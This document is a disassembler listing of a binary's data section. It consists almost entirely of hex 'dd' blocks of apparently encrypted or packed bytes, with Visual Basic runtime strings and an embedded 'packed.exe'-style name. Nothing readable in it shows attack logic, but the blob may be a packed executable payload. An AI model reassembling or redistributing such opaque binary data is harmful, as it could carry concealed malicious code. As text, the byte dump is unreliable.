		dd 251BD8D2h, 76464325h, 2419DAD0h, 52945228h, 0BF57E289h
		dd 4, 835FFA01h, 148704EAh, 89505C24h, 405E0h, 0E8830000h
		dd 24048704h, 243C895Ch, 58FB68h, 242C8900h, 69C56852h
		dd 0C15A40E8h, 0EA8106E2h, 764A2D7Eh, 48D4EA81h, 0D789BDAFh
		dd 8324148Bh, 0EC8104C4h, 4, 81242489h,	42404h,	565D0000h
		dd 7589FE89h
		dd 24348B08h, 4C481h, 34FF0000h, 0C4815D24h, 4,	53243C8Bh
		dd 0C381E389h, 4, 8704C383h, 0E95C241Ch, 0FFFB3B70h, 0E6B8F57Fh
		dd 3062109h, 7CE0FFC5h,	7719E6A6h, 500AD45Ah, 1012B96Eh
		dd 485F3239h, 0EE502F21h, 0EE640DFFh, 0B45578ADh, 746BDF7h
		dd 640627D2h, 0C93BCE8Ah, 4B7C622Ch, 3E3012BFh,	8B4C8B04h
		dd 1D7B01B8h, 161E66E7h, 0E539A466h, 606CB25Eh,	0D46C02A8h
		dd 942E948Dh, 0B14CA1A1h, 826E34C4h, 0B7443C2Eh, 6E33FDC8h
		dd 0E922D690h, 15Ch, 77E705C5h,	6D5C3A43h, 706E755Fh, 656B6361h
		dd 61700072h, 64656B63h, 6578652Eh, 3Bh	dup(0)
a3cannotFindS_P	db '3Cannot find ',27h,'%s',27h,'. Please, re-install this application',0
aThunrtmain	db 'ThunRTMain',0
a__vbavartstne	db '__vbaVarTstNe',0
		dd 7A2EA910h, 1A44E9h, 0E1B6800h, 0D9E90621h, 68FFFA71h
		dd 6210F45h, 0FA71CFE9h, 105C68FFh, 0C5E90621h,	68FFFA71h
		dd 6211127h, 0FA71BBE9h, 116F68FFh, 0B1E90621h,	68FFFA71h
		dd 6211219h, 0FA71A7E9h, 127968FFh, 9DE90621h, 68FFFA71h
		dd 62112C0h, 0FA7193E9h, 190E68FFh, 89E90621h, 68FFFA71h
		dd 62119C1h, 0FA717FE9h, 1AB568FFh, 75E90621h, 68FFFA71h
		dd 6211BC0h, 0FA716BE9h, 1C4468FFh, 61E90621h, 68FFFA71h
		dd 6211D06h, 0FA7157E9h, 1D9968FFh, 4DE90621h, 68FFFA71h
		dd 6211E23h, 0FA7143E9h, 23C168FFh, 39E90621h, 68FFFA71h
		dd 621248Fh, 0FA712FE9h, 252E68FFh, 25E90621h, 19FFFA71h
		dd 4AA140DBh, 15EA8D2Ch, 3C9336DDh, 0DEF5942Fh,	0A8CD6C13h
		dd 6B12DFF2h, 963937CCh, 7211DCF3h, 9C3F38CFh, 0C54AC9FDh
		dd 38E97034h, 1BE0624Bh, 579C39DCh, 20D27518h, 28AD3099h
		dd 0E37C1B5Bh, 4882C767h, 0E3C4F559h, 0A441E00Eh, 2801F4Fh
		dd 4726FD80h, 9B3B0FA8h, 0A13CC182h, 3BE9C72Ch,	48320134h
		dd 0A24604A1h, 6991F068h, 0E707DCFCh, 2A2FA848h, 93000000h
		dd 9B22A73Eh, 0C5149B16h, 9C3EC87Dh, 0EFC58A2Eh, 70C4F4AEh
		dd 0F3063DDAh, 1CC72CB2h, 4F85EF82h, 9FC6981h, 0C9h, 39DC1B79h
		dd 731A579Ch, 3BDE19DAh, 832651A2h, 0A3423300h,	81A0400Ah
		dd 26F530BCh, 15A54432h, 8D31A8BBh, 0C89689C8h,	8D303F3Eh
		dd 37DA15EAh, 0E8E1789Eh, 0B97CDE65h, 220FC4F5h, 301AB356h
		dd 0AB9D2BB2h, 56A72C90h, 29C72DB5h, 0FE800F9Bh, 0AF521DF6h
		dd 67FE300Fh, 0CA48EF0Bh, 0EC8ABC43h, 279D3D13h, 0FBA2CFA4h
		dd 0C36A875Ch, 0C2C99BF3h, 52882543h, 17C5h, 0B659F400h
		dd 13B65521h, 700FB6BCh, 1ABD589Bh, 6205ACC5h, 0FDF4DDFFh
		dd 541CB356h, 0FCF90EB1h, 4A25BA5Dh, 2FD608A7h,	0E97329B0h
		dd 0DB674838h, 0C629DE1Bh, 3F7F2E06h, 0FDD275F3h, 0ADB04FF2h
		dd 42F84E1Fh, 0CC4F42C3h, 0C800B647h, 9B3BC93Eh, 58966D95h
		dd 8A2E1CB9h, 5884198h,	7F7E0580h, 123EC87Dh, 554FD474h
		dd 0FFC4F4AEh, 0FA84330h, 299F9B3Bh, 0B222B78Ch, 31CBC72Ch
		dd 813CB41Eh, 1590FC69h, 0BECA1390h, 1FA5C72Ch,	2CBE439Ah
		dd 8A81EC7h, 0D0CFh, 0DC1B3300h, 10DDB239h, 0F271D471h
		dd 3EC87DEBh, 0A9820086h, 0B68F2FCAh, 0F08D343Dh, 0C8793253h
		dd 0F39BD43Eh, 37816D6Ch, 48604C1h, 0BE618E65h,	5970F521h
		dd 4DD24FD2h, 0C137818Ch, 7CC165E3h, 3B0AAF1Eh,	0B17413B1h
		dd 0B32EAF34h, 0C341C72Ch, 5D6CF123h, 4CEF09D6h, 1B2AA9ACh
		dd 0E63D1216h, 0EB06DD60h, 0D3A0A544h, 0E86AF4A5h, 0E5F0B1FEh
		dd 432EC363h, 38792A45h, 0DC4E6042h, 95B552D0h,	710EB5BCh
		dd 398757D9h, 8F43C245h, 169BDCFEh, 96D60000h, 67875CFBh
		dd 0A8D229C8h, 6A895E01h, 9EDB30CFh, 0EFF558F7h, 0D17017E2h
		dd 0FC9B3E3Ah, 0C86706E7h, 0FEA14433h, 33CA49CCh, 4E38E972h
		dd 0DE1BE55Dh, 0F07219E0h, 0C3BDBA51h, 0F19012B5h, 39DC1B69h
		dd 7518579Ch, 71EE73EEh, 3EC87D68h, 0E1F88107h,	803EC87Dh
		dd 53C7660Ah, 0BB38BB0Eh, 0C4F55A25h, 6A38A92Fh, 0DBB34AC9h
		dd 38CEC72Ch, 0EE1A18ACh, 0F5780E4Ah, 13AC531Eh, 0C77E9737h
		dd 0B95D00F8h, 2C236174h, 2ED19FC7h, 0F0976291h, 333EE057h
		dd 0EE811B05h, 69144C84h, 0C30AFCh, 9C780000h, 3D8CD16Ah
		dd 59C739B6h, 9B58C4F5h, 64FCAC5Dh, 0C76DAF6Ch,	3BD2C749h
		dd 5FE48C64h, 0C72CF79Eh, 31D553F1h, 915FDFECh,	4C51CF3h
		dd 4F080281h, 25A3E1BDh, 6A5D19Eh, 0E43DE169h, 0AAC7AB32h
		dd 62E06A03h, 593B54DBh, 0A81EDBC7h, 7E214E25h,	59D256DBh
		dd 0D920CF69h, 10B3BD96h, 9E33D377h, 0EA2F20D1h, 0EB05E5A1h
		dd 6B2D996Dh, 0B677A915h, 158424h, 12ADBF00h, 0BF5E986Fh
		dd 8AFCB20h, 0C6619269h, 0FEA5CC23h, 0EDE4F65Bh, 25BA5D04h
		dd 0F209A84Bh, 2EC56403h, 0C7FB9E41h, 6D36C74Ch, 604938E9h
		dd 39DC1BE2h, 0E1E37A9Ch, 0C87D9B62h, 31D09D3Eh, 0E9513B1h
		dd 0F55A4F91h, 7AA20C4h, 0D16A9C3Fh, 640BE68Ch,	56E25FE6h
		dd 0B9C2F25Ah, 94993D70h, 0C4F59122h, 7316E1AEh, 0F8F157D3h
		dd 6C48453h, 0AD1CA1BEh, 5A3A926h, 0CE3CB648h, 6960E531h
		dd 19E05FE2h, 78526907h, 9D3C3912h, 9EB936F9h, 81A84894h
		dd 811EC5ACh, 41C447C9h, 4B753BC2h, 50F05658h, 9639360Dh
		dd 0CC0D920Fh, 0A3584B75h, 9FA28125h, 2E03AAD0h, 47039C43h
		dd 822552A7h, 8651E6AEh, 8D4DE2D6h, 14B9h, 0BA5DF8F4h
		dd 7AA4925h, 0C4630AF0h, 0FEA13C2Fh, 0C66910E9h, 0A9D001A3h
		dd 70885F02h, 98D52ACDh, 768156F9h, 38234D3h, 0E96C7D7Ch
		dd 0A71B1438h, 0B6DFDF6Dh, 52C6F47h, 0C0638C61h, 554AEF0h
		dd 45951AB0h, 1471h, 8225C0ACh,	3FE2816Dh, 8C2BD2A8h, 36D97477h
		dd 8E31D8A1h, 0E118B9EBh, 3840973Ah, 10DDF295h,	3E39CE71h
		dd 4BCAFC9Bh, 0E96C35C4h, 0DF634C38h, 0B75A966Dh, 12B5C217h
		dd 4F4CD075h, 6957D925h, 62F729CDh, 0DB61E467h,	0AC35A1D1h
		dd 79BE62D4h, 0C4F52207h, 0F89FDB98h, 0CA6DEB5Fh, 0FB42BFB6h
		dd 663102C0h, 0B937FF43h, 604BAD32h, 6EDC3D10h,	30BDCE75h
		dd 0E37AA1A9h, 0EAE05FE6h, 8593D5F0h, 8CF07CFFh, 4F7E469h
		dd 0D046DF7Fh, 36BD4089h, 95EFD019h, 38078EFCh,	0E6FD9C3Fh
		dd 6926609h, 52FAE294h,	13C71DBDh, 0F2020000h, 5323B857h
		dd 0B4BE15B4h, 56956A0Dh, 0AAC71CBBh, 0DB016403h, 0B554FBF6h
		dd 10AF521Eh, 0BC5BFAFBh, 2A54827h, 2FAE35D0h, 4238E96Fh
		dd 926BD969h, 0E43EC87Dh, 3EC84D11h, 37BD9A5Fh,	9D11E4C1h
		dd 0E00FC137h, 0E20E0CE6h, 7831C13Fh, 4DAFF024h, 517D51CFh
		dd 734FFA97h, 1367409Ah, 0D2A20000h, 33439837h,	14DEF594h
		dd 3635CA6Dh, 0AE7FC9Bh, 0FBA1C463h, 55F49BD6h,	30CF727Eh
		dd 5CFB9ADBh, 22C56887h, 4F8E15B0h, 2238E96Fh, 0A73E7949h
		dd 0AE149B22h, 31C4F545h, 0B0A1C393h, 0FE8F49E1h, 1320DCh
		dd 7E195B00h, 4BEA04DBh, 741B57ACh, 52EDFED5h, 7A2158AFh
		dd 617072D7h, 0B94EF198h, 667D1CBFh, 0B249E887h, 4B7F22C5h
		dd 6FB24BC8h, 0DCCD38E9h, 57966D66h, 0B4C318B8h, 707F7411h
		dd 3ED77A76h, 70F18E0Ch, 1B51BB96h, 0B30284B6h,	7528B12Eh
		dd 4373EC8h, 93456CD7h,	0A343C141h, 172Ah, 966B9800h, 903EC87Dh
		dd 1E25C467h, 3EB4EA3Dh, 0AAA931CEh, 1F000012h,	9C39DC1Bh
		dd 5FE6E37Ah, 0F54FFEE0h, 0D19C91C4h, 0D126A232h, 3F1D3B9Eh
		dd 4EAE3AC1h, 59A01F33h, 38C72C90h, 0D8C042D2h,	7F739236h
		dd 0F4058A3Ah, 84C72C6Eh, 2C6EFEFFh, 77F391C7h,	870C8F11h
		dd 3D114AFDh, 2ECDA877h, 1915B991h, 19E112ABh, 78ACF72h
		dd 937188h, 0D67A10CDh,	938B51h, 804FDDCDh, 5E8FE8F8h
		dd 6C8A5FFFh, 99D52ACDh, 0D69C73FAh, 0E454A52Ah, 9D2BCD00h
		dd 28C8821Bh, 8F69360Fh, 0D9A053ECh, 33B59532h,	83303E93h
		dd 68D8B1B0h, 835AD9FCh, 0DECD0049h, 0CF68EA68h, 0A8FE28Ch
		dd 7B7B48ECh, 498657DCh, 6BD9CD00h, 98D04AEDh, 0BEF64CE5h
		dd 14Fh, 22A73E44h, 0AAE60D9Bh,	49E7487Eh, 0C8AC33CAh
		dd 3AB84E3Eh, 560C9396h, 9C4F5A2h, 0E511E27Bh, 224CA346h
		dd 0E27C0083h, 0A0B586ECh, 370C25C9h, 0C72DD2A2h, 77AAC557h
		dd 0F26475FAh, 8DFBC72Dh, 3BDA14E9h, 0F6D36A9Ch
		dd 0CA62F06Fh, 87FD3D10h, 45EC05EEh, 3BDF3ABEh,	8C30F685h
		dd 0BBB64DECh, 33C87B14h, 0F0CD0294h, 0CE717E55h, 8B751931h
		dd 0FD0B91C4h, 44AB69C6h, 0A9D025C9h, 6E885F02h, 0B1BD36CFh
		dd 0BEB48B12h, 2CCC7E17h, 0D39E4813h, 4D2A204Eh, 8D8928AAh
		dd 0F64FB157h, 2C01h, 0DE1B8100h, 0D8A79E37h, 0EA60FDA0h
		dd 21C8B146h, 4807D784h, 700FB6C3h, 84B23EB6h, 8D1802h
		dd 0D6AD0000h, 2FD6A395h, 9236B496h, 22A73E8Ch,	534A149Bh
		dd 770DC4F5h, 3AD915DEh, 97364097h, 5AF9F5FEh, 28F79EBDh
		dd 0E310AD50h, 70DA7312h, 15E46BF2h, 6CC72CAFh,	81D03ADEh
		dd 0B453F2FCh, 3068EB71h, 87E7F710h, 0B1B72DE7h, 36A1FC68h
		dd 21000000h, 9A21A63Eh, 0C4159A17h, 9B3EC87Dh,	85C4892Dh
		dd 9C3EC87Dh, 0A2D8A72Eh, 81C25BFBh, 0C137817Ch, 0EA4C23D1h
		dd 71EE7552h, 0C13783D8h, 0A04EF157h, 7, 4102FAh, 1B580000h
		dd 0A69F38DFh, 2977A822h, 0C83D53AAh, 0C982E3Eh, 0B256BF60h
		dd 0FB2511Dh, 0C65FFEF8h, 22BB0450h, 0C805DD21h, 0AE85483Eh
		dd 0C7831CC3h, 872FD27h, 28529D0h, 0A74627FCh, 0BC4CE07h
		dd 3E340000h, 0C3801DA2h, 4164A9B3h, 7AADC462h,	0EC7C84EEh
		dd 8A2E3858h, 0D92D5890h, 45FE78h, 6D840000h, 17B75A96h
		dd 0E1645BE5h, 0C87D9B62h, 0F790F63Eh, 0D675814Eh, 33B2ED32h
		dd 0A3CC615Ch, 668C6700h, 0D6C826BFh, 0E0634D7Bh, 0AB44E313h
		dd 4EC4159Ah, 2D9B6844h, 4E210BABh, 10E46CE4h, 24BEA59h
		dd 3E580000h, 0AA5C6A2h, 0D55BDD6Dh, 0DC1BE773h, 95CBA834h
		dd 4D58A72Dh, 0C8EE35C4h, 3CBE4C3Eh, 6C0BEAB9h,	4FFB86CCh
		dd 926BE86Dh, 0DD3EC87Dh, 64FCED94h, 24A222D6h,	0CF628A84h
		dd 6A140584h, 6E000000h, 931DA23Eh, 0B75A966Dh,	0C98C2C1Eh
		dd 0C87DB04Ah, 0B33DCB3Eh, 0B458966Dh, 0C87DAE2Fh, 0C543C13Eh
		dd 0BB7E2228h, 2ADF1B33h, 9019D24Bh, 7B820150h,	163EC892h
		dd 2DB032B0h, 0F79EDBA8h, 0C8926B72h, 1872063Eh, 565F50D9h
		dd 55DA61DFh, 3EC82F84h, 83C96DDBh, 0E86D56FCh,	0C87D926Bh
		dd 0F700ED3Eh, 8432D654h, 30h, 0FA23EFEh, 751DE789h, 0F37DFB4Fh
		dd 7D14E66Dh, 0DC603EC8h, 1214C6A4h, 0A3CFA4A5h, 47E763FCh
		dd 6DC34DBBh, 17B75A96h, 0DF1B8E14h, 56FCB238h,	6AB756Bh
		dd 1DC4AD41h, 0B53AB77Ah, 48FAB724h, 0D429CD3Bh, 0A07BF89Bh
		dd 0E7B132D9h, 0C2AD323Dh, 9A199C1Fh, 48FAB743h, 0D308A81Eh
		dd 0E96C0FE8h, 860B2263h, 52F64680h, 0FF377FD5h, 1AE91C33h
		dd 38B73ED9h, 48FA0FA1h, 51A64AC0h, 0A58E8326h,	0D1AA27CAh
		dd 0FE0FAA8h, 0D7B48FAh, 9B7A0286h, 3DA1CEAh, 32D654F3h
		dd 0BE912BF5h, 0A69B3E39h, 60FDA4CDh, 1C299B14h, 0E9862947h
		dd 0CA718861h, 8F791D2Dh, 403E3BC0h, 0B6C39833h, 19EE910Fh
		dd 0E5BE3BDEh, 1E9C5E0Ch, 59EF48FAh, 66E915D8h,	0EE955C33h
		dd 8055F951h, 14DFD477h, 61BB38DBh, 2C43DD14h, 2C25C8A7h
		dd 4852847h, 1E9B422Fh,	24A9A852h, 0A025A84Bh, 0FA1EDA23h
		dd 0AF4FB548h, 0B3BC933Ah, 0FED37710h, 97B34CF3h, 0DC1B31F7h
		dd 7D2EAF34h, 0BE413EC8h, 0C87DB841h, 0EF71D73Eh, 0E773E771h
		dd 0ACCAA63Eh, 7D728B08h, 770D3EC8h, 0B65520F9h, 4FFBAE34h
		dd 848DCE36h, 26A805h, 3E1A0000h, 6D9721A6h, 0C87D14E6h
		dd 57E1673Eh, 0DB1BE56Dh, 0E86DB63Ch, 0C87D926Bh, 0B757ED3Eh
		dd 1D027D03h, 58000000h, 9721A63Eh, 7D14E66Dh, 31173EC8h
		dd 0F59CD5AAh, 84EF258h, 0DB1BE56Dh, 56FCB63Ch,	0C873146Bh
		dd 5ADE653Eh, 64EBF072h, 0C1375595h, 81CE5EECh,	6351F519h
		dd 0FFFFFD53h, 7D966BDDh, 29B33EC8h, 64625C88h,	987310Fh
		dd 0C2699166h, 94DF1E25h, 0C6703EC8h, 26FD78ABh, 0DC1DA649h
		dd 0B33EC894h, 965C7115h, 23BC5F98h, 84235227h,	3EE15FEBh
		dd 0AA4924FBh, 8B643D0Dh, 5BFB4FE8h, 0EFC46886h, 2DB60FFh
		dd 43EC894h, 3DCB47EEh,	6DEB8A64h, 850A87CAh, 3EC89474h
		dd 0E2FB780Bh, 7D3EC894h, 0A6F98907h, 0B2FECEFDh, 9A22D474h
		dd 9DB3902Dh, 24F8B16Fh, 578DF77Ah, 1C02F49h, 26Fh, 7D916B81h
		dd 55E33EC8h, 0E1D1A269h, 3DEF8FE6h, 179A21A8h,	5EC4159Ah
		dd 2D9B3EC8h, 751EC489h, 0A321C4F5h, 5C03EF04h,	0A74630C3h
		dd 1309E50Eh, 0A4A63FE6h, 388D8926h, 0E7850A91h, 783D11BDh
		dd 831CBBBBh, 6504F2C7h, 300082C8h, 43CC8616h, 0D27D5D32h
		dd 0D00000Ch, 4EA544DFh, 9DE8120h, 50A74AF1h, 12E98823h
		dd 0BCA140E7h, 27CEAB26h, 0E2857388h, 2ECDA83Fh, 0D87B748Bh
		dd 81FE8539h, 38E96478h, 1B6C5617h, 7611E2DCh, 26BB5BF4h
		dd 0B8A320A3h, 4CC4EB71h, 5AFDFAC9h, 168908D1h,	6C8A67C7h
		dd 0AFAB4BCDh, 0BB45AB0Bh, 175652F7h, 0ED6BDF78h, 2E47B65Dh
		dd 0ED6B4587h, 0BA619966h, 6D2AAE33h, 297CFB1Eh, 9B6871FAh
		dd 8107C716h, 0D1A93EDDh, 0A3CCA32Ah, 7EC76000h, 9CCFC5B1h
		dd 0ADF7F01h, 69AD4AEDh, 0F16EF5D4h, 3D2A4A3Fh,	0A19FDAA9h
		dd 0B09A33D6h, 11B59532h, 91DFAF15h, 7743C6EEh,	0C1F24B6h
		dd 1A5A0000h, 0EB0BE07Fh, 1C56AD4Ch, 0EEFDD275h, 521FB453h
		dd 33690CABh, 8D2CD39Eh, 38D77A76h, 9433D2A3h, 0EA8D303Fh
		dd 7D65DF8h, 5A38E964h,	0DC1BB191h, 0E37A9C39h,	12E05FE6h
		dd 66C4F4AFh, 1DBA6199h, 37CD892Dh, 93109598h, 0C72CB34Ah
		dd 8E2D4825h, 58976C0Ch, 9232EEA7h, 0AD2BBF87h,	8278470Ah
		dd 74C93BDBh, 0A2B48347h, 0B09A33D6h, 56D86024h, 0FFD451D4h
		dd 98B24BF2h, 6E7D33F8h, 58EE3D0Fh, 0AD350D5h, 0CCD0B6Eh
		dd 9FAB44DFh, 45619723h, 9F5A2945h, 0E5BA7D21h,	2CC3660Dh
		dd 3F069F46h, 56DD8970h, 0CD0BFB87h, 4AEE6CDAh,	0BA09BAB5h
		dd 0F79261A0h, 0AB3FD96Bh, 552AB28h, 972DCD0Bh,	900F9219h
		dd 0CD0B0549h, 25FEA228h, 0D65D6CF1h, 37D45759h, 0FF840137h
		dd 0D36034FEh, 32D19C91h, 9333B595h, 195D3197h,	0EB5DAD10h
		dd 0B2BB822h, 86660000h, 0B7B74CEBh, 98627918h,	0BAB94EF1h
		dd 8E6B801Fh, 7F2548E7h, 0E1802752h, 0AC4BEE0Ah, 0D8771657h
		dd 0AE51F403h, 0C31A993Ch, 9E38E967h, 0DC1BF5CDh, 0F07215E2h
		dd 4F7ABF57h, 77C349CCh, 0CF7AEFCAh, 0AB2CC5EEh, 31AF50D5h
		dd 2566C88Dh, 1DF2C4F5h, 708B9F54h, 0A2B6D403h,	23C38720h
		dd 0E9FEA127h, 34CB6E0Dh, 0D620893Eh, 0B617B88h, 3E64EA8Dh
		dd 169B22A7h, 0F08D2C49h, 1B71B65Ah, 94C4F573h,	32494EE8h
		dd 0A8811EAh, 0D85DD86Dh, 2CBB825Bh, 0E267DDC7h, 0C72CBB1Bh
		dd 1EBDB976h, 0A747C981h, 2CB85FA2h, 0FC9FD9C7h, 0C36A9063h
		dd 81D0BA2Ah, 0B14EF5FCh, 53311799h, 775A92FCh,	9D72FC69h
		dd 0B5902DD4h, 2CB4AF2Eh, 0C644C2C7h, 7BA922h, 1B190000h
		dd 50A33CDBh, 5EE8726h,	30C946E6h, 4F3EC87Dh, 0DFB437B9h
		dd 74D66F0Eh, 0BEB83BD4h, 378E801Fh, 4A840B92h,	0CDC4F57Fh
		dd 0A77D6737h, 0C24B49E1h, 0A2018h, 7E195B00h, 4BEA04DBh
		dd 741B57ACh, 52EDFED5h, 7A2158AFh, 617072D7h, 0B94EF198h
		dd 667D1CBFh, 0B249E887h, 4B7F22C5h, 66B24BC8h,	0DCCD38E9h
		dd 3CDB1B66h, 961D989Dh, 3EC87D47h, 0DE0CAC1Ah,	71h, 6BE86D34h
		dd 3EC87D92h, 58F300EDh, 690D8BBFh, 22BB5A94h, 0D95C6DF4h
		dd 7D06D75Ch, 94593EC8h, 2E1CB95Ch, 4B7220ACh, 0FBE58756h
		dd 115BD85Bh, 4AC4F551h, 0A5FAECBCh
		dd 0E9C649E1h, 99CF1h, 0FA95D700h, 0D7768057h, 30D7A338h
		dd 0DE797A91h, 26CDA43Bh, 15BCDE83h, 3D9235DCh,	1AF19033h
		dd 469D3CDBh, 0EFE38629h, 610ECF54h, 886138E9h,	39DC1BBAh
		dd 7518579Ch, 0D29D89D8h, 84B5F068h, 1FD6602h, 9CDC0000h
		dd 956330BAh, 85DC4EF2h, 0E685703Fh, 0C87D9C5Dh, 0F4FEF33Eh
		dd 189AB04Dh, 118E139Ah, 3EC87DC8h, 0B16713A7h,	0D4D8A2FFh
		dd 0F06FB256h, 0C4F5888Eh, 15AEA321h, 0D29578A5h, 890CBD04h
		dd 0F30A890Ch, 8E38867Bh, 49D358F8h, 1BC2BB51h,	0F38C2744h
		dd 0FF7BB757h, 0C89EB8EAh, 0B34CCE93h, 68EBDE63h, 0DBA1ACEBh
		dd 9219AFC4h, 700FB2BDh, 0E5B95C9Bh, 4A168103h,	0DA02D8B5h
		dd 15000008h, 469D3CD7h, 11E68928h, 489F42E9h, 1AF1902Bh
		dd 0B49938DFh, 2FD6A32Eh, 0DA7D7B90h, 36D5A037h, 90333C93h
		dd 0D956FDF1h, 38E96000h, 1BB48E5Fh, 73A33CDBh,	0AFDACDEEh
		dd 22598252h, 24430E45h, 0F270F221h, 6E0CE46Bh,	5E53C4EBh
		dd 2360EC93h, 0E4BF85BAh, 0E3B033B5h, 38CF7215h, 16009D40h
		dd 0EC73FACFh, 3D2A5C4Ah, 0AA8052D6h, 0B2CBDCE8h, 0CEA6520Eh
		dd 683D9685h, 0D7AC2FB1h, 7C53F699h, 0BF34D174h, 0C5390DB0h
		dd 0DF43C1CAh, 8478C4Eh, 72820000h, 0D3A338D7h,	343E9534h
		dd 0D615EA8Dh, 2A479C3Bh, 5B81E483h, 35D47B76h,	902FD29Eh
		dd 3CDB7A7Bh, 8225C8A7h, 0AF2EB550h, 0C238E960h, 966D59E9h
		dd 2F1BB45Bh, 0EEE76C8Fh, 2F3EC87Dh, 0DB076A05h, 43C04386h
		dd 0C4F5491Dh, 5994A127h, 32828414h, 0B134D28Eh, 0DB7413E2h
		dd 0B78CCF6Fh, 817514BBh, 89068D3Ch, 3D1261F8h,	0F77A0187h
		dd 0AAE4D28h, 0F800FAF5h, 1092B855h, 0BA5D9A71h, 0C24716E6h
		dd 0CD0DA243h, 7BDh, 0BE61FCF8h, 0BAE4D29h, 0B857FEF4h
		dd 12B55023h, 6A0DB4BDh, 0F5FCD507h, 1C54AB4Eh,	0F401D679h
		dd 521DB255h, 37DE10AFh, 0E96321B8h, 0D36F4038h, 0C87D966Bh
		dd 0C467903Eh, 5D6CF125h, 0B2B159D6h, 18AEC4F4h, 10AFBE95h
		dd 0E060EC71h, 52BD48F6h, 0CBB91B43h, 0E563D5D1h, 22C1AC41h
		dd 75B5585h, 3EAB0000h,	149B22A7h, 0C4F556EEh, 93AD371h
		dd 0C72CA5F4h, 82EC8321h, 0FC698A4Ah, 1650Ch, 0DA1B7600h
		dd 7D20B936h, 0C93F3EC8h, 7D3CBD42h, 0B5533EC8h, 1F599A33h
		dd 0E710E37Ch, 0BF44C144h, 3EC87D3Eh, 0FA13B351h, 0D77E744Bh
		dd 7188073Eh, 103EC87Dh, 8358F87Ah, 9F34D372h, 80962FCEh
		dd 8A078E37h, 9211DAFEh, 2DD1BAA5h, 0C88A1928h,	0EF0BE83Eh
		dd 1D9BAF48h, 155C8A80h, 23C66590h, 7B02A1CCh, 4396CEDh
		dd 2814D10h, 3EC8F0FBh,	0EB23096h, 0F3C30E35h, 0D1543EC8h
		dd 0D3F2634Bh, 46EAB24Ch, 0E51095DCh, 0F33BC241h, 0F0563EC8h
		dd 45BCF72h, 0DCB53AC1h, 3C3EC8F3h, 0F3A33AB9h,	48BE3EC8h
		dd 811EACA8h, 44E38672h, 811EC1AFh, 45E28572h, 82713EC5h
		dd 92DD47E7h, 0CB32E30Dh, 5C3E9970h, 0AB32B134h, 0C63EC8A9h
		dd 0C81FC240h, 0A6700DB0h, 9C23AA1Fh, 0C4F58BBEh, 1114B351h
		dd 0FA933642h, 9A9BEA42h, 69E779EBh, 0A54830C5h, 0B9B50E08h
		dd 0DE8E1EBDh, 0D81BC647h, 25AA31AFh, 0C72D7D28h, 8E7C19AFh
		dd 648C1160h, 0AFC91EC1h, 0E6758107h, 275451EDh, 2DA85BA2h
		dd 52D036C7h, 0EDDC61B5h, 0A17FE966h, 8A003D10h, 90452C03h
		dd 0B047A161h, 24C446B4h, 80BC4005h, 129EE867h,	0BDBB50F0h
		dd 0BFFA8715h, 3B12377Eh, 2B727B6h, 7514E1CDh, 54F272D8h
		dd 78804FD6h, 6E1238D5h, 9E3D38CFh, 0A73E33FBh,	22149B22h
		dd 0B5C4F54Fh, 0C08FB64Fh, 0CB7F18B3h, 0F998D62Bh, 0D14ED356h
		dd 0C72C9308h, 0F73DE167h, 9A21A63Eh, 0B4CA50Eh, 83236991h
		dd 0EF4499AAh, 0D3B13EC8h, 7F7A497Ch, 6B0B3FD8h, 85443BB1h
		dd 301D02h, 1BA50000h, 0EAB93CDBh, 6CC56910h, 0C87D06D7h
		dd 62ED173Eh, 0EB7211DDh, 9539DC14h, 5EECB176h,	0FA813EC8h
		dd 0E6047E6Eh, 3FDF3FABh, 0FFFFAB91h, 0DC1B07FFh, 0EB57AF39h
		dd 9721A63Eh, 0CE360951h, 0A805848Dh, 5Eh, 59966D1Ah, 50ED905Fh
		dd 26D878FAh, 6D9F299Eh, 0C87D17E6h, 59DC6A3Eh,	7D8657DCh
		dd 6BD93EC8h, 0E56D85CBh, 0B63CDB1Bh, 189DDF6Dh, 1C229611h
		dd 6C170490h, 0B1552721h, 966D7FFDh, 0AC2DB25Ah, 0C33EC87Dh
		dd 202AC345h, 7DC7169Dh, 2C9A3EC8h, 1D5E8Ch, 0E8B70000h
		dd 73D7700Bh, 0A63E4DD3h, 0E66D9721h, 3EC87D17h, 6DA62C1Ah
		dd 3CDB1BE5h, 1B56FCB6h, 0A69F38DFh, 767E0E22h,	17A378EFh
		dd 67989630h, 72B757BDh, 3EC8806Bh, 0D2571AC4h,	2BCEAAA8h
		dd 9A450AADh, 9B3EC88Eh, 0D74C9418h, 0D3EF635Ch, 0B050EFFEh
		dd 0FFF3FE42h, 0DB1B98FFh, 0B33B93Ch, 0CD1FDB5Ah, 0E012F195h
		dd 66ED7059h, 0C4F537B8h, 0CEE03FBBh, 1ED70188h, 0AF31AF52h
		dd 1CA82D16h, 0A755C72Dh, 61E775A8h, 0F90305B6h, 0A51BD579h
		dd 0B3FC69F8h, 7, 1020Fh, 6D580000h, 47E1CADFh,	0C8A431C8h
		dd 2ABA503Eh, 0CD71D995h, 40C3065Bh, 0F50BB1C3h, 0B93CCAC4h
		dd 0EA6909EAh, 0C72D5013h, 0BD5AD86Eh, 0A350E98Dh, 8E9534D3h
		dd 0C72D5084h, 0C44BEFFEh, 0C72D5035h, 9D3CBE4Ch, 0EF882746h
		dd 90B33A85h, 7411B4C3h, 89C832D6h, 2F3E904h, 280CA63h
		dd 0CC6F885Fh, 0D87B744Fh, 0DC738D5Bh, 7C751857h, 0DDDF6D06h
		dd 4FEE0808h, 38BABEC3h, 6FE65E98h, 0D8700305h,	0D2000000h
		dd 9A20A53Eh, 0DF1BE86Dh, 5C32AC38h, 0AA36F4B6h, 0BABB4106h
		dd 86843EC8h, 0A24930FFh, 0E56D38FEh, 1BF82846h, 57AF39DCh
		dd 0B95D6AEEh, 2847050Bh, 3D0DAA51h, 3E151BBBh,	519721A6h
		dd 1699800Ch, 3E5FB8CFh, 0CE36949Ah, 0A805848Dh, 2Ch, 21A63E1Ah
		dd 17E66D97h, 6A3EC87Dh, 0E56D56DCh, 0B45B966Dh, 7A8F2F1Bh
		dd 0FC53DD7Ch, 2FDF6D56h, 0A7297F6h, 5616C464h,	6C000000h
		dd 0B659966Dh, 25AA3119h, 3EC87DD4h, 87791DABh,	6D0C9631h
		dd 0C87D17E6h, 0A92C1A3Eh, 74E2F423h, 0F4941BE2h, 6DE56D2Eh
		dd 448D9DFh, 0A1A946EDh, 3CAE3611h, 1E994AB0h, 9539E845h
		dd 14973640h, 0F08D303Fh, 0B552F503h, 0BF871395h, 2C55A7E6h
		dd 0FCC18727h, 0FF130256h, 1B58FFFFh, 579C39DCh, 0B1501E18h
